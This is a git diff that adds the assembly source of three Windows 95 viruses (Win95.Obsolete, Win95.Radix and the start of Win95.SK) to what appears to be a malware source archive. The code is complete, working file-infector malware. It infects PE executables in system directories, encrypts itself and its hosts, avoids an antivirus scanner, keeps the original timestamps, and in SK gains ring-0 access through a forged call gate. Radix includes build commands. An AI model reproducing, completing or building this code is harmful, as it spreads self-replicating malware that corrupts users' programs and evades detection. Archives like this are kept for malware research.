info was a bit too advanched for me to +; understand as for now, and TechnoDrunk's advice was as usual hidden +; between a large amount of polymorphic junk-comments. Much information was +; gathered from the excellent PE-essays written by Micheal J. O'Leary and +; B. Luevelsmeyer (though the last one mentioned contained some errors). +; +; As this is my 1st Win32-virus, errors are very likely to exist in this +; source, if you do find any of them, and/or have any advice for me regarding +; Win32-coding, please do inform me about it. +; +; P.S. First generations will crash on exit. +; +; P.P.S. How the fuck do I smash sectors in Win32 ? +; +;============================================================================ + + + ORG 0 + + .386p + .MODEL FLAT + .DATA + + DD 0 ; Uch, without this the file will + ; crash, don't ask me why... + + +EXTRN CreateThreadA:PROC ; GetProcAddress seems to need these. +EXTRN MessageBoxIndirectA:PROC + + + .CODE + +Off = 0 +On = 1 + +Debug_Mode = On ; If switched on, only DUM*.* + ; will be infected. + +Files_Per_Dir EQU 3 ; 3 files per directory. +Marker_File EQU 'T2IR' ; Creeping through ur files. +Virus_Size EQU (Virus_End-START) ; Physical virussize. +Virus_Size_Mem EQU (Virus_End_Mem-START) ; Virtual virussize. + + +START: + PUSHFD ; Save flags & registers. + PUSHAD + + CALL Get_Delta ; Get our position in memory. +Get_Delta: POP ESI + SUB ESI, (Get_Delta-START) + + MOV AL, 0 ; Load initial virus-key. +Initial_Key = BYTE PTR $-1 + + MOV EBX, (Encrypted-START) + MOV ECX, (Virus_End-Encrypted) + +Decrypt_Byte: XOR [ESI+EBX], AL ; Decrypt a byte. + + INC EBX ; Next one please. + + ADD AL, 0 ; X-Ray, away. +Sliding_Key = BYTE PTR $-1 + + LOOP Decrypt_Byte ; And repeat the process. + +Encrypted: ; All that comes after this is kept encrypted in PE's. + + ; Get image-base, this method should also work + ; if the image is loaded at a different base + ; than the one specified in the PE-header. + + MOV EAX, ESI + + SUB EAX, 12345678h +Virus_RVA = DWORD PTR $-4 + + MOV [ESI+(Host_Image_Base-START)], EAX + + ADD [ESI+(Old_EIP-START)], EAX + + MOV EAX, (KERNEL32_API-START) + LEA EDI, [ESI+(K32_API_Addresses-START)] + CALL Retrieve_API + JECXZ JMP_Exec_Host + + JMP Begin_Search +Payload_Switch = BYTE PTR $-1 + +Trojan: ; Trojanized files will continue execution here. + + ; Retrieve API-addresses in USER32.DLL. + + MOV EAX, (USER32_API-START) + CALL Retrieve_API + JECXZ JMP_Exec_Host + + ; Generate a soundblaster-beep. + + PUSH MB_ICONEXCLAMATION + CALL [ESI+(MessageBeep-START)] + + ; Display a box with a message. + + PUSH MB_ICONEXCLAMATION + LEA EAX, [ESI+(Window_Name-START)] + PUSH EAX + LEA EAX, [ESI+(Payload_Msg-START)] + PUSH EAX + PUSH 0 + CALL [ESI+(MessageBoxA-START)] + + ; Exit current process. + + CALL [ESI+(ExitProcess-START)] + + +Window_Name DB 'Win95.Obsolete v1.00', 0 +Payload_Msg DB 'MAN HAS BECOME OBSOLETE... FEAR THE MACHINES!', 0 + + +JMP_Exec_Host: JMP Execute_Host + + +Begin_Search: + LEA EBX, [ESI+(Current_Directory-START)] + MOV ECX, MAX_PATH + + PUSH EBX + + ; Save original path. + + PUSH EBX + PUSH ECX + CALL [ESI+(GetCurrentDirectoryA-START)] + + ; Obtain path to Windoze-directory. + + ADD EBX, ECX + + PUSH EBX + + PUSH ECX + PUSH EBX + CALL [ESI+(GetWindowsDirectoryA-START)] + + ; Obtain path to Windoze\System-directory. + + ADD EBX, ECX + + PUSH EBX + + PUSH ECX + PUSH EBX + CALL [ESI+(GetSystemDirectoryA-START)] + + ; Infect files in Windoze-directory. + + MOV EBX, [ESI+(SetCurrentDirectoryA-START)] + + CALL EBX + CALL Infect_Directory + + ; Infect files in Windoze\System-directory. + + CALL EBX + CALL Infect_Directory + + ; Infect files in the current directory. + + CALL EBX + CALL Infect_Directory + +Execute_Host: MOV ECX, 0 +Section_Size = DWORD PTR $-4 + JECXZ Virus_Exit + + MOV EBX, 400000h +Host_Image_Base = DWORD PTR $-4 + + ADD EBX, OFFSET Carrier +RVA_Encrypted = DWORD PTR $-4 + + MOV AL, 0 +Init_K_Section = BYTE PTR $-1 + +Decr_Section: XOR [EBX], AL ; Decrypt the host's section. + + INC EBX + + ADD AL, 0 +Slide_K_Section = BYTE PTR $-1 + + LOOP Decr_Section + +Virus_Exit: POPAD ; Restore registers & flags. + POPFD + + MOV EAX, OFFSET Carrier ; EAX = EIP of program. +Old_EIP = DWORD PTR $-4 + + JMP EAX + + + +Infect_Directory: + + PUSHAD + + ; Reset infection-counter. + + AND BYTE PTR [ESI+(Infect_Counter-START)], 0 + + LEA EAX, [ESI+(Search_Buffer-START)] + PUSH EAX + LEA EAX, [ESI+(File_Spec-START)] + PUSH EAX + CALL [ESI+(FindFirstFileA-START)] + + CMP EAX, -1 ; Abort on error. + JE Exit_Infect + + XCHG EBP, EAX + +Infect_Loop: CMP BYTE PTR [ESI+(Infect_Counter-START)], Files_Per_Dir + JNB Exit_Infect + +Infect_File: PUSH EBP + + LEA EBX, [ESI+(Search_Buffer.Find_File_Name-START)] + +Check_File_Ext: MOV EDI, EBX + + XOR AL, AL ; Find end of ASCIIZ-string. + MOV CH, 0FFh + CLD + REPNZ SCASB + + MOV EAX, [EDI-5] ; Get last DWORD of filename. + CALL Upcase_EAX + + CMP EAX, 'EXE.' ; Standard .EXE-file? + JE Check_Filename + +Go_Find_Next_F: CMP EAX, 'RCS.' ; Screensaver-file? + JNE Find_Next_File + +Check_Filename: MOV EAX, [EBX] ; Get 1st DWORD of filename. + CALL Upcase_EAX + + CMP EAX, 'NACS' ; Don't infect McFuck SCAN, + JE Go_Find_Next_F ; (most overused Windoze AV). + +Save_File_Attr: PUSH EBX + CALL [ESI+(GetFileAttributesA-START)] + + PUSH EAX + PUSH EBX + + ; Clear the readonly-flag. + + AND AL, NOT FILE_ATTRIBUTE_READONLY + + PUSH EAX + PUSH EBX + CALL [ESI+(SetFileAttributesA-START)] + + XOR EBP, EBP + + PUSH EBP ; Open the file. + PUSH FILE_ATTRIBUTE_NORMAL + PUSH OPEN_EXISTING + PUSH EBP + PUSH EBP + PUSH GENERIC_READ OR GENERIC_WRITE + PUSH EBX + CALL [ESI+(CreateFileA-START)] + + CMP EAX, -1 ; Error? + JE Restore_Attr + + MOV [ESI+(File_Handle-START)], EAX + + PUSH EAX + + XCHG EDI, EAX + + ; Save the host's time/date of creation, + ; last access, and last write. + + LEA EAX, [ESI+(Victim_Last_Write_Time-START)] + + PUSH EAX + + PUSH EAX + ADD EAX, 8 + PUSH EAX + ADD EAX, 8 + PUSH EAX + PUSH EDI + CALL [ESI+(GetFileTime-START)] + + PUSH EBP + PUSH EDI + CALL [ESI+(GetFileSize-START)] + + MOV [ESI+(Host_Size-START)], EAX + + ADD EAX, Virus_Size + + ; Like, allocate memory for the mapped file, or + ; whatever the fuck this shit is neccesary for. + + PUSH EBP + PUSH EAX + PUSH EBP + PUSH PAGE_READWRITE + PUSH EBP + PUSH EDI + CALL [ESI+(CreateFileMappingA-START)] + + OR EAX, EAX ; Error? + JZ Close_File + + PUSH EAX + + ; This should map the file in our + ; allocated memory, am I not right??? + + PUSH EBP ; WHOLE file. + PUSH EBP + PUSH EBP + PUSH FILE_MAP_WRITE + PUSH EAX + CALL [ESI+(MapViewOfFile-START)] + + OR EAX, EAX ; Error? + JZ Close_Mapping + + PUSH EAX + + CMP [EAX.EXE_Mark], 'ZM' ; File must be .EXE-type. + JNE Unmap_File + + CMP [EAX.Reloc_Table], 40h ; It has a NE/PE-header? + JB Unmap_File + + MOV ECX, [EAX+3Ch] ; Obtain pointer to PE-header. + + LEA EDI, [EAX+ECX] ; EDI = PE-header. + + CMP [EDI.PE_Mark], 'EP' ; Make sure it's a PE-file. + JNE Unmap_File + + ; A bit redundant, I guess... + + CMP [EDI.CPU_Type], 14Ch ; This PE is for 386+'s ? + JNE Unmap_File + + ; === Avoid DLL's. === + + TEST BYTE PTR [EDI.PE_Flags+1], 00100000b + JNZ Unmap_File + + ; === Did we already infect it before? === + + CMP [EDI.Reserved_1], Marker_File + JE Unmap_File + + XCHG EBX, EAX ; EBX = Mapping-address. + + ; === Get last section-header. === + + XOR EAX, EAX + MOV AX, [EDI.Number_Of_Sections] + DEC AX + MOV ECX, 40 + MUL ECX + + MOV EDX, EDI ; EDX = PE-header. + + MOV BP, [EDX.Headers_Size] + ADD EBP, 18h + ADD EBP, EAX + ADD EBP, EDX ; EBP = Last section-header. + + MOV EAX, [EBP.Section_Start] + ADD EAX, [EBP.Section_Size_Raw] + + LEA EDI, [EAX+EBX] ; Offset of virus in file. + + PUSHAD + + MOV ECX, Virus_Size ; Copy virus to mapped file. + CLD + REP MOVSB + + POPAD + + ADD EAX, Virus_Size ; Set new size of host. + + MOV [ESI+(Host_Size-START)], EAX + + PUSH [EDX.Entry_Point] + POP DWORD PTR [EDI+(Old_EIP-START)] + + ; Calculate virus' new EIP RVA. + + MOV EAX, [EBP.Section_RVA] + ADD EAX, [EBP.Section_Size_Raw] + + MOV [EDX.Entry_Point], EAX ; Set our new entrypoint. + + MOV [EDI+(Virus_RVA-START)], EAX + + IN AX, 40h ; Get a random value in AL. + XOR AL, AH + + AND AL, 11111100b ; Trojanize this victim? + JNZ Skip_Trojanize + + ; Patch JMP to let it point to the trojan-code. + + MOV [EDI+(Payload_Switch-START)], AL + +Skip_Trojanize: MOV EAX, [EBP.Section_Size_Raw] + MOV ECX, [EBP.Section_Size_Virtual] + + ; Always pick the smallest size. + + CMP EAX, ECX ; The other one is smaller? + JNB Not_Bigger ; No, leave things this way. + + XCHG ECX, EAX ; Else use the smaller size. + +Not_Bigger: MOV [EDI+(Section_Size-START)], ECX + + ADD [EBP.Section_Size_Virtual], Virus_Size_Mem + ADD [EBP.Section_Size_Raw], Virus_Size + ADD [EDX.Image_Size], Virus_Size + + ; Set object-flags: code, executable, readable, and writable. + + OR [EBP.Section_Flags], 11100000000000000000000000100000b + + JECXZ Encrypt_Virus ; Don't let LOOP overflow. + + ADD EBX, [EBP.Section_Start] + + PUSH [EBP.Section_RVA] + POP DWORD PTR [EDI+(RVA_Encrypted-START)] + + IN AX, 40h ; Get random keys. + + MOV [EDI+(Init_K_Section-START)], AL + MOV [EDI+(Slide_K_Section-START)], AH + +Encr_Section: XOR [EBX], AL ; Encrypt host's last section. + + INC EBX + + ADD AL, AH + + LOOP Encr_Section + +Encrypt_Virus: IN AX, 40h ; Get a random value in AX. + + MOV [EDI+(Initial_Key-START)], AL + MOV [EDI+(Sliding_Key-START)], AH + + ADD EDI, (Encrypted-START) + MOV ECX, (Virus_End-Encrypted) + +Encrypt_Byte: XOR [EDI], AL ; Encrypt virusbody. + + INC EDI + + ADD AL, AH + + LOOP Encrypt_Byte + + ; Mark this host as being infected. + + MOV [EDX.Reserved_1], Marker_File + + ; We succesfully infected yet another file. + + INC BYTE PTR [ESI+(Infect_Counter-START)] + +Unmap_File: CALL [ESI+(UnmapViewOfFile-START)] + +Close_Mapping: CALL [ESI+(CloseHandle-START)] + +Close_File: PUSH 0 + PUSH 0 + PUSH 12345678h +Host_Size = DWORD PTR $-4 + PUSH DWORD PTR [ESI+(File_Handle-START)] + CALL [ESI+(SetFilePointer-START)] + + PUSH DWORD PTR [ESI+(File_Handle-START)] + CALL [ESI+(SetEndOfFile-START)] + + POP EAX + + PUSH EAX ; Restore original filedates + ADD EAX, 8 ; and times. + PUSH EAX + ADD EAX, 8 + PUSH EAX + PUSH 12345678h +File_Handle = DWORD PTR $-4 + CALL [ESI+(SetFileTime-START)] + + CALL [ESI+(CloseHandle-START)] + +Restore_Attr: CALL [ESI+(SetFileAttributesA-START)] + +Find_Next_File: POP EBP + + ; Now go find the next .EXE-file. + + LEA EAX, [ESI+(Search_Buffer-START)] + PUSH EAX + PUSH EBP + CALL [ESI+(FindNextFileA-START)] + + OR EAX, EAX + JNZ Infect_Loop + +Exit_Infect: POPAD + + RET + + +Author DB '(c) 1998-1999 by T-2000 / Immortal Riot', 0 + + +; EAX = Offset to module-name. +; EDI = Pointer to buffer API-addresses. +Retrieve_API: + PUSH ESI + + MOV EBX, ESI ; EBX holds the delta-offset. + + ADD ESI, EAX ; Module-name. + + ; === Get the base-address of the given module. === + + PUSH ESI + CALL [EBX+(GetModuleHandleA-START)] + + XCHG ECX, EAX + JECXZ Exit_Get_API + + MOV EBP, ECX ; EBP = Module-base. + + ADD ESI, 13 ; ESI = Start API-names. + +Retrieve_Addr: PUSH ESI ; Retrieve the API's address. + PUSH EBP + CALL [EBX+(GetProcAddress-START)] + + CLD ; Store the API-address. + STOSD + + XCHG ECX, EAX + JECXZ Exit_Get_API + +Find_End_API: LODSB ; Go to next API-name. + + OR AL, AL ; Reached the end of ASCIIZ? + JNZ Find_End_API + + CMP [ESI], AL ; We did 'em all? + JNZ Retrieve_Addr ; Nope, so continue loop. + +Exit_Get_API: POP ESI + + RET + + +; Don't use a lame AND to convert to uppercase, it'll +; screw things up with non-alfabethical characters. +Upcase_EAX: + ROL EAX, 8 + + CALL Upcase_AL + + ROL EAX, 8 + + CALL Upcase_AL + + ROL EAX, 8 + + CALL Upcase_AL + + ROL EAX, 8 + +Upcase_AL: CMP AL, 'a' + JB Exit_Upcase_AL + + CMP AL, 'z' + JA Exit_Upcase_AL + + SUB AL, 'a' - 'A' + +Exit_Upcase_AL: RET + + +; ********************* DATA AREA ******************************************* + + + IF Debug_Mode + +File_Spec DB 'DUM*.*', 0 ; Searchmask for debugmode. + + ELSE + +File_Spec DB '*.*', 0 ; Searchmask for wildmode. + + ENDIF + + + ; All API's used by the actual infection-process. + +KERNEL32_API DB 'KERNEL32.dll', 0 + DB 'GetWindowsDirectoryA', 0 + DB 'GetSystemDirectoryA', 0 + DB 'FindFirstFileA', 0 + DB 'FindNextFileA', 0 + DB 'CreateFileA', 0 + DB 'CreateFileMappingA', 0 + DB 'MapViewOfFile', 0 + DB 'UnmapViewOfFile', 0 + DB 'CloseHandle', 0 + DB 'GetFileTime', 0 + DB 'SetFileTime', 0 + DB 'GetFileSize', 0 + DB 'SetFilePointer', 0 + DB 'SetEndOfFile', 0 + DB 'GetCurrentDirectoryA', 0 + DB 'SetCurrentDirectoryA', 0 + DB 'GetFileAttributesA', 0 + DB 'SetFileAttributesA', 0 + DB 'ExitProcess', 0 + DB 0 + + + ; This shit is only used by the trojan-code. + +USER32_API DB 'USER32.dll', 0, 0, 0 + DB 'MessageBoxA', 0 + DB 'MessageBeep', 0 + DB 0 + + + ; Fuck, these are hardcoded! + +GetModuleHandleA DD 0BFF775BDh +GetProcAddress DD 0BFF76D5Ch + + +Virus_End: + + +K32_API_Addresses: + +GetWindowsDirectoryA DD 0 +GetSystemDirectoryA DD 0 +FindFirstFileA DD 0 +FindNextFileA DD 0 +CreateFileA DD 0 +CreateFileMappingA DD 0 +MapViewOfFile DD 0 +UnmapViewOfFile DD 0 +CloseHandle DD 0 +GetFileTime DD 0 +SetFileTime DD 0 +GetFileSize DD 0 +SetFilePointer DD 0 +SetEndOfFile DD 0 +GetCurrentDirectoryA DD 0 +SetCurrentDirectoryA DD 0 +GetFileAttributesA DD 0 +SetFileAttributesA DD 0 +ExitProcess DD 0 + + +U32_API_Addresses: + +MessageBoxA DD 0 +MessageBeep DD 0 + + +Current_Directory DB MAX_PATH DUP(0) +Windows_Directory DB MAX_PATH DUP(0) +System_Directory DB MAX_PATH DUP(0) + + +Infect_Counter DB 0 + + +Victim_Last_Write_Time DD 0, 0 +Victim_Last_Access_Time DD 0, 0 +Victim_Creation_Time DD 0, 0 + + +Search_Buffer DB 666 DUP(0) + + +Virus_End_Mem: + +; ??????????????????????????????????????????????????????????????????????????? + + +Section_Header STRUC +Section_Name DB 8 DUP(0) +Section_Size_Virtual DD 0 +Section_RVA DD 0 +Section_Size_Raw DD 0 +Section_Start DD 0 + DD 0, 0 + DW 0, 0 +Section_Flags DD 0 +Section_Header ENDS + + +Find_First_Next_Win32 STRUC +File_Attributes DD 0 +Creation_Time DD 0, 0 +Last_Accessed_Time DD 0, 0 +Last_Written_Time DD 0, 0 +Find_File_Size_High DD 0 +Find_File_Size_Low DD 0 +Find_Reserved_1 DD 0 +Find_Reserved_2 DD 0 +Find_File_Name DB 260 DUP(0) +Find_DOS_File_Name DB 13 DUP(0) +Find_First_Next_Win32 ENDS + + +EXE_Header STRUC +EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM. +Image_Mod_512 DW 0 +Image_512_Pages DW 0 +Reloc_Items DW 0 +Header_Size_Mem DW 0 +Min_Size_Mem DW 0 +Max_Size_Mem DW 0 +Program_SS DW 0 +Program_SP DW 0 +Checksum DW 0 +Program_IP DW 0 +Program_CS DW 0 +Reloc_Table DW 0 +EXE_Header ENDS + + +PE_Header STRUC +PE_Mark DD 0 ; PE-marker (PE/0/0). +CPU_Type DW 0 +Number_Of_Sections DW 0 + DD 0 +Reserved_1 DD 0 + DD 0 +Headers_Size DW 0 +PE_Flags DW 0 + DW 8 DUP(0) +Entry_Point DD 0 + DD 2 DUP(0) +Image_Base DD 0 +Object_Align DD 0 +File_Align DD 0 + DW 0, 0 + DW 0, 0 + DW 0, 0 + DD 0 +Image_Size DD 0 +PE_Header ENDS + + + ; This shit ain't complete. + + INCLUDE WIN32API.INC + + +Carrier: + PUSH 0 + CALL ExitProcess + + END START + + + + + diff --git a/LegacyWindows/Win95.Radix.asm b/LegacyWindows/Win95.Radix.asm new file mode 100644 index 00000000..360e10ab --- /dev/null +++ b/LegacyWindows/Win95.Radix.asm @@ -0,0 +1,238 @@ +; Win95.Radix by Radix16[MIONS] +; Made in Czech republic +; +;Hi, +; +;It's my first Ring3 virus for Win9x.Virus not testing WinNT system. +; +;Target : PE filez +;Virus size : 405(402) +;Resident : NO +;Polymorhic : NO +; +;Virus not dangerous, but ..... +; +;Decription AVP: +; +;http://www.avp.ch/avpve/newexe/win95/radix.stm +; +;It is a harmless nonmemory resident parasitic Win9x virus. It searches +;for PE EXE files in the current directory, then writes itself to the +;middle of the file, to not used space at the end of the PE header. +; +;The virus does not manifest itself in any way. It contains the text: +; +; Radix16 + +;Greets to : +; Worf[MIONS] +; VirusBuster/29 +; Prizzy/29A +; +; +;How to build: +; tasm32 -ml -m5 radix.asm +; tlink32 -Tpe -aa -c -x radix.obj,,, import32 +; pewrsec radix.exe +; +;Contacty mee : Radix16@atlas.cz +; Radix16.cjb.net + +.386p +locals +.Model Flat,STDCALL + + extrn ExitProcess :proc + extrn GetModuleHandleA : proc + + + .Data + db ? + + .Code + + vStart label byte +Start: + + db 68h + ;Save old eip +oldip: dd offset exit + pushad + Call Next + id db 'Radix16' +Next: + pop ebp + + + mov esi,KERNEL32+3ch + lodsd + add eax,KERNEL32 + xchg eax,esi + mov esi,dword ptr [esi+78h] + lea esi,dword ptr [esi+1ch+KERNEL32] + lodsd + mov eax,dword ptr [eax+KERNEL32] + add eax,KERNEL32 + + push eax + push 20060000h + push 0h + push 1h + db 68h + currPage: + dd FSTGENPAGE + push 1000dh + call eax + pop dword ptr [_VxDCALL0+ebp-X] + inc eax + jz _exit + inc eax + ;allocation memory + push 00020000h or 00040000h + push 2h + push 80060000h + push 00010000h + call dword ptr [_VxDCALL0+ebp-X] + + + mov dword ptr [memory+ebp-X],eax + + push 00020000h or 00040000h or 80000000h or 8h + push 0h + push 1h + push 2h + shr eax,12 + push eax + push 00010001h + call dword ptr [_VxDCALL0+ebp-X] + ;Create DTA + mov ah,1ah + mov edx,dword ptr [memory+ebp-X] ;buffer + add edx,1000h + call int21 + + mov ah,4eh ;FindFirstFile + lea edx,[_exe+ebp-X] ;What search + xor ecx,ecx ;normal attributes + +tryanother: + call int21 + jc _exit ;is filez ? + + call _infect + + mov ah,4fh ;FindNextFile + Jmp tryanother + +_exit: + popad + ret + + _exe db '*.*',0 ;filez search + +int21: + ;VxDCALL services + push ecx + push eax + push 002a0010h + call dword ptr [_VxDCALL0+ebp-X] + ret + +FP: ;Set file pointer + mov ah,42h + cdq ;xor dx,dx + xor cx,cx + call int21 + ret + + +_infect: + + + mov edx,dword ptr [memory+ebp-X] ;Name file + add edx,101eh + + mov ax,3d02h ;Open File R/W + call int21 + jc quit ;Error ? + + xchg eax,ebx ;FileHandle + + mov ah,3fh ;Read File + mov ecx,1000h ;Read 1000h bytes + mov edx,dword ptr [memory+ebp-X] + call int21 + jc quitz ;Error ? + + + mov edi,edx + cmp word ptr [edi],'ZM' ;Test Header (EXE) + jne quitz ;yes or no ? + cmp word ptr [edi+32h],'61' ;Test infection + je quitz ;Yes, virus is in file ? + mov word ptr [edi+32h],'61' ;No ,Save ID to file + add edi,dword ptr [edi+3ch] ;Testing Portable Executable(PE) + cmp word ptr [edi],'EP' + jne quitz + + + mov esi,edi + mov eax,18h ;Shift image header + add ax,word ptr [edi+14h] + add edi,eax + + ;Search end section + movzx cx,word ptr [esi+06h] + mov ax,28h + mul cx + add edi,eax + + mov ecx,dword ptr [esi+2ch] + mov dword ptr [esi+54h],ecx + + push edi + sub edi,dword ptr [memory+ebp-X] + xchg edi,dword ptr [esi+28h] + mov eax,dword ptr [esi+34h] + add edi,eax + shr eax,12 + mov dword ptr [currPage+ebp-X],eax + mov dword ptr [oldip+ebp-X],edi ;Save old EIP + pop edi + + + mov ecx,VirusSize + lea esi,[vStart+ebp-X] + rep movsb ;CopyVirus + + xor al,al ;SetFilePointer 0=beginning file + call FP ;mov al,0 + + mov ah,40h ;Write to file + mov ecx,1000h + mov edx,dword ptr [memory+ebp-X] + call int21 + +quitz: + mov ah,3eh ;CloseFile + call int21 + +quit: + +ret + +exit: + + vEnd label byte + ret + VirusSize equ vEnd-vStart + KERNEL32 equ 0bff70000h ;Win9X kernel address + FSTGENPAGE equ 000400000h/1000h + X equ offset id + _VxDCALL0 dd ? + memory dd ? ;Buffer + +Virual_End: + +ends +End Start diff --git a/LegacyWindows/Win95.Sk.asm b/LegacyWindows/Win95.Sk.asm new file mode 100644 index 00000000..5f96f2f7 --- /dev/null +++ b/LegacyWindows/Win95.Sk.asm @@ -0,0 +1,1133 @@ + +Win95.SK aka Win95.VBA +------------------------------------------------------------------[VBA.ASM]--- +COMMENT / + (C) VBA Ltd. ALL RIGHTS RESERVED. + E-mail: support@vba.com.by + + THIS PROGRAM IS FREE FOR COMMERCIAL AND NON-COMMERCIAL USE. + + REDISTRIBUTION AND USE IN SOURCE AND BINARY FORMS, WITH OR WITHOUT + MODIFICATION, ARE PERMITTED. + + THIS SOFTWARE IS PROVIDED BY VBA LTD. ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. +/ + +; KNOWN UNFIXED BUGS: +; 1. INCORRECT PATCHED PAGE MAPPING IN SOME CASES FOR RESTORED NON-WRITEABLE +; CODE SECTION FROM R0 +; 2. DRWEB ALARM FOR PE EXECUTABLE (BUT FALSE ALARM TOO) + +MODEL TINY +P386 +LOCALS + +INCLUDE VBA.INC + +TOTAL GROUP CODE16,CODE32 + +;====================================== +CODE16 SEGMENT BYTE PUBLIC 'CODE' USE16 + ASSUME CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL + ORG 100H + +START: + +;-------------------------------------- +DOS2R0 PROC + JMP DOS_INSTALL ;0EBH (OR 0E9H FOR PE_INSTALL) +JMP_RELO DB 0,0,0 +COPYRIGHT = $-START + DB '(C) VBA Ltd. E-mail: support@vba.com.by',0 +OFF_DOSINST = $-JMP_RELO +DOS_INSTALL: MOV AH,4AH + MOV BH,10H + INT 21H + JB GO2_DOS_EXIT + MOV AX,160AH + INT 2FH ;GET WIN VERSION + AND AX,AX + JNE GOZ_DOS_EXIT + CMP BH,4 ;<4.X? + JB GO2_DOS_EXIT + MOV DX,OUR_PORT + IN AL,DX + CMP AL,WE_HERE + STC + JE GO2_DOS_EXIT + MOV AL,0 ;0-PE,1-HLP,2-RAR,3-ZIP + ;4-ARJ,5-HA +FILE_TYPE = $-START-1 + DEC AX + JNE NO_DOS_SLEEP + INT 1AH + MOV BX,DX +DOS_SLEEP: STI ;TIMEOUT FOR HLP (PREVENT HANG) + XOR AH,AH + INT 1AH + SUB DX,BX + CMP DX,(WAIT_TIME*18) + JB DOS_SLEEP +NO_DOS_SLEEP: CLD + MOV AX,1687H + INT 2FH ;DPMI PRESENT (0.9 IN WIN95/8)? + AND AX,AX + JNE GOZ_DOS_EXIT + MOV BP,SP + PUSH ES DI + MOV BX,SI + MOV AH,48H + INT 21H ;MALLOC FOR INTERNAL USE BY DPMI HOST + JB GO2_DOS_EXIT + MOV ES,AX + XOR AX,AX + CALL 4 PTR [BP-4] ;GO OUT FROM V86 TO PM MODE +GO2_DOS_EXIT: JB GO_DOS_EXIT + CALL CALC_DOS_DELTA +DOS_DELTA = $-START + DB 'MS-DOS',0 +CALC_DOS_DELTA: POP SI + MOV AX,168AH + INT 2FH ;GET EXTAPI + AND AL,AL +GOZ_DOS_EXIT: JNE DOS_EXIT + PUSH ES DI DS + POP ES + MOV CX,1 + CALL ALLOC_DESC + PUSH AX + CALL ALLOC_DESC + MOV [BP-2],AX + AND AL,NOT 7 + PUSH AX + MOV BX,CS + LEA DI,ZERO_INIT-DOS_DELTA[SI] + MOV AX,0BH + CALL DPMICALL ;GET CS DESCRIPTOR + MOV AX,100H + CALL 4 PTR [BP-8] ;GET LDT ALIAS +GO_DOS_EXIT: JB DOS_EXIT + MOV ES,AX + LEA AX,OFF_R0_INSTALL-DOS_DELTA[SI] + ADD AX,[DI+2] + MOV BL,[DI+4] + MOV BH,[DI+7] + ADC BX,0 + POP DI + STOSW ;GENERATE CALLGATE + POP AX + STOSW + AND AL,NOT 7 + PUSH AX + MOV AX,11101100B SHL 8 ;P=1:DPL=3:S=0:TYPE=0CH (CALLGATE) + STOSW + XCHG AX,BX + STOSW + POP DI ;GENERATE R0 DESCRIPTOR + MOV AX,-1 + STOSW + INC AX + STOSW + STOSB + MOV AX,1100111110011010B ;G=1:32=1:AVL=0:LIMIT=0FH + STOSW ;P=1:DPL=0:S=1:CODE:NCONF:READ=1:NOACCESS + XOR AL,AL + STOSB + CALL 4 PTR [BP-4] ;SWITCH TO R0 +DOS_EXIT: .EXIT +ALLOC_DESC: XOR AX,AX +DPMICALL: INT 31H + JB DOS_EXIT + RET + ENDP + +INCLUDE SPE.ASI + +END_CODE16 = $-START + + ENDS + +;====================================== +CODE32 SEGMENT BYTE PUBLIC 'CODE' USE32 + ASSUME CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL + +START_CODE32: + +;------------------------------------------------ +CALC_DELTA PROC + CALL CALC_OUR_OFFST + GOFF OUR_OFFST +CALC_OUR_OFFST: POP EDX + SUB EDX,LARGE OUR_OFFST + RET + ENDP + +;------------------------------------------------ + GOFF OFF_IFS_HOOKER + +; INT FILESYSTEMAPIHOOKFUNCTION(PIFSFUNC FSDFNADDR,INT FUNCTIONNUM,INT DRIVE, +; INT RESOURCEFLAGS,INT CODEPAGE,PIOREQ PIR) +IFS_HOOKER PROC + +FSD_FN_ADDR = 4 PTR [EBP+8] +FN_NUM = 4 PTR [EBP+12] +DRIVE = 4 PTR [EBP+16] +RES_FLAGS = 4 PTR [EBP+20] +CODE_PAGE = 4 PTR [EBP+24] +P_IOREQ = 4 PTR [EBP+28] + + ENTERD STACK_FRAME,0 + PUSHAD + CALL CALC_DELTA + MOV EBX,P_IOREQ + BTS 4 PTR FLAG[EDX],0 + JB IFS_EXIT + CMP 1 PTR RES_FLAGS,IFSFH_RES_CFSD ;CHAR DEVICE? + JE IFS_RETURN + MOV EAX,FN_NUM + CMP EAX,IFSFN_RENAME + JA IFS_RETURN + JE IS_RENAME + CMP AL,IFSFN_OPEN + JE IS_OPEN + CMP AL,IFSFN_FILEATTRIB + JE IS_ATTRIB + GOFF IFS_RETURN_OFF +IFS_RETURN: DEC 1 PTR FLAG[EDX] + POPAD + LEAVED + JMP 4 PTR DS:[12345678H] + GOFF OLD_IFS_HOOKER,4 +IFS_EXIT: PUSH EBX + LEA EDI,OLD_DATETIME[EDX] + CALL FSD_FN_ADDR + MOV [EBP-STACK_FRAME-4],EAX ;SET CORRECT RETURN VALUE + POP EAX + CMP 1 PTR FN_NUM,IFSFN_OPEN + JNE NO_STORE_FDATE + MOV EAX,[EBX.IR_DATETIME] + STOSD +NO_STORE_FDATE: POPAD + LEAVED + GOFF HOOK_STUB + RET + ENDP + +;------------------------------------------------ +IS_RENAME: TEST 1 PTR [EBX.IR_ATTR+3],FILE_FLAG_WILDCARDS SHR 24 + JMP IS_ACCESS + +;------------------------------------------------ +IS_ATTRIB: MOV AL,[EBX.IR_FLAGS] + DEC EAX ;SET_ATTRIBUTES + JNE NO_SET_ATTRIB + TEST 1 PTR [EBX.IR_ATTR],FA_SYSTEM + JMP IS_ACCESS +NO_SET_ATTRIB: CMP AL,SET_ATTRIB_CREATION_DATETIME-1 + JA IFS_RETURN + AND AL,1 + JMP IS_ACCESS + +;------------------------------------------------ 